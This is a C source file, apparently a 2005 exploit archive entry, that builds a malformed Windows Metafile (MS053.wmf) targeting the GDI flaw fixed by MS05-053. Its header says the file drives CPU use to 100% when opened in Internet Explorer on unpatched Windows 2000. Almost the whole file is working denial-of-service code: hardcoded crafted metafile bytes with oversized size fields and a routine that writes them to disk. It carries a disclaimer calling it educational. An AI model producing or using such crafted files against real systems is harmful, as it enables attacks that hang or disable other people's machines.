75 lines
No EOL
2.4 KiB
C
75 lines
No EOL
2.4 KiB
C
/*
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* Author: Winny Thomas
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* Pune, INDIA
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*
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* The crafted metafile from this code when viewed in internet explorer raises the CPU utilization
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* to 100%. The code was tested on Windows 2000 server SP4. The issue does not occur with the
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* hotfix for GDI (MS05-053) installed
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*
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* Disclaimer: This code is for educational/testing purposes by authosized persons on
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* networks/systems setup for such a purpose.The author of this code shall not bear
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* any responsibility for any damage caused by using this code.
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*
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*/
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#include <stdio.h>
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unsigned char wmfheader[] =
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"\xd7\xcd\xc6\x9a\x00\x00\xc6\xfb\xca\x02\xaa\x02\x39\x09\xe8\x03"
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"\x00\x00\x00\x00\x66\xa6"
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"\x01\x00"
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"\x09\x00"
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"\x00\x03"
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"\xff\xff\xff\xff" //Metafile file size
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"\x04\x00"
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"\xff\xff\xff\xff" //Largest record size
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"\x00\x00";
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unsigned char MetafileRECORD[] =
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"\x05\x00\x00\x00\x0b\x02\x39\x09\xc6\xfb\x08\x00\x00\x00\xfa\x02"
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"\x05\x00\x00\x00\x00\x00\xff\xff\xff\x00\x04\x00\x00\x00\x2d\x01"
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"\x01\x00\x04\x00\x00\x00\x06\x01\x01\x00\x04\x00\x00\x00\x2d\x01"
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"\x02\x00\x07\x00\x00\x00\xfc\x02\x00\x00\xff\xff\xff\x00\x00\x00"
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"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\x2d\x01\x02\x00"
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"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\xf0\x01\x00\x00"
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"\x07\x00\x00\x00\xfc\x02\x00\x00\xfa\x94\x93\x00\x00\x00\x04\x00"
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"\x00\x00\x2d\x01\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x04\x00"
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"\x00\x00\x06\x01\x01\x00\x14\x00\x00\x00\x24\x03\x08\x00\xc6\xfb"
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"\x9b\x03\xbc\xfe\x9b\x03\x0f\x01\x1a\x07\xa5\x02\x1a\x07\xf4\x00"
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"\x39\x09\xd5\xfc\x36\x07\x86\xfe\x36\x07\xc6\xfb\x9b\x03";
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unsigned char wmfeof[] =
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"\x00\x00\x00\x00";
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int main(int argc, char *argv[])
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{
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FILE *fp;
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char wmfbuf[1024];
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int metafilesize, metafilesizeW, i, j;
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metafilesize = sizeof (wmfheader) + sizeof (MetafileRECORD) + sizeof(wmfeof) -3;
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metafilesizeW = metafilesize/2;
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memcpy((unsigned long *)&wmfheader[28], &metafilesizeW, 4);
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printf("[*] Adding Metafile header\n");
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for (i = 0; i < sizeof(wmfheader) -1; i++) {
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(unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];
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}
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printf("[*] Adding Metafile records\n");
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for (j = i, i = 0; i < sizeof(MetafileRECORD) -1; i++, j++) {
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wmfbuf[j] = MetafileRECORD[i];
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}
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printf("[*] Adding EOF record\n");
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for (i = 0; i < sizeof(wmfeof) -1; i++, j++) {
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wmfbuf[j] = wmfeof[i];
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}
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printf("[*] Creating Metafile (MS053.wmf)\n");
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fp = fopen("MS053.wmf", "wb");
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fwrite(wmfbuf, 1, metafilesize, fp);
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fclose(fp);
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}
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// milw0rm.com [2005-11-29]
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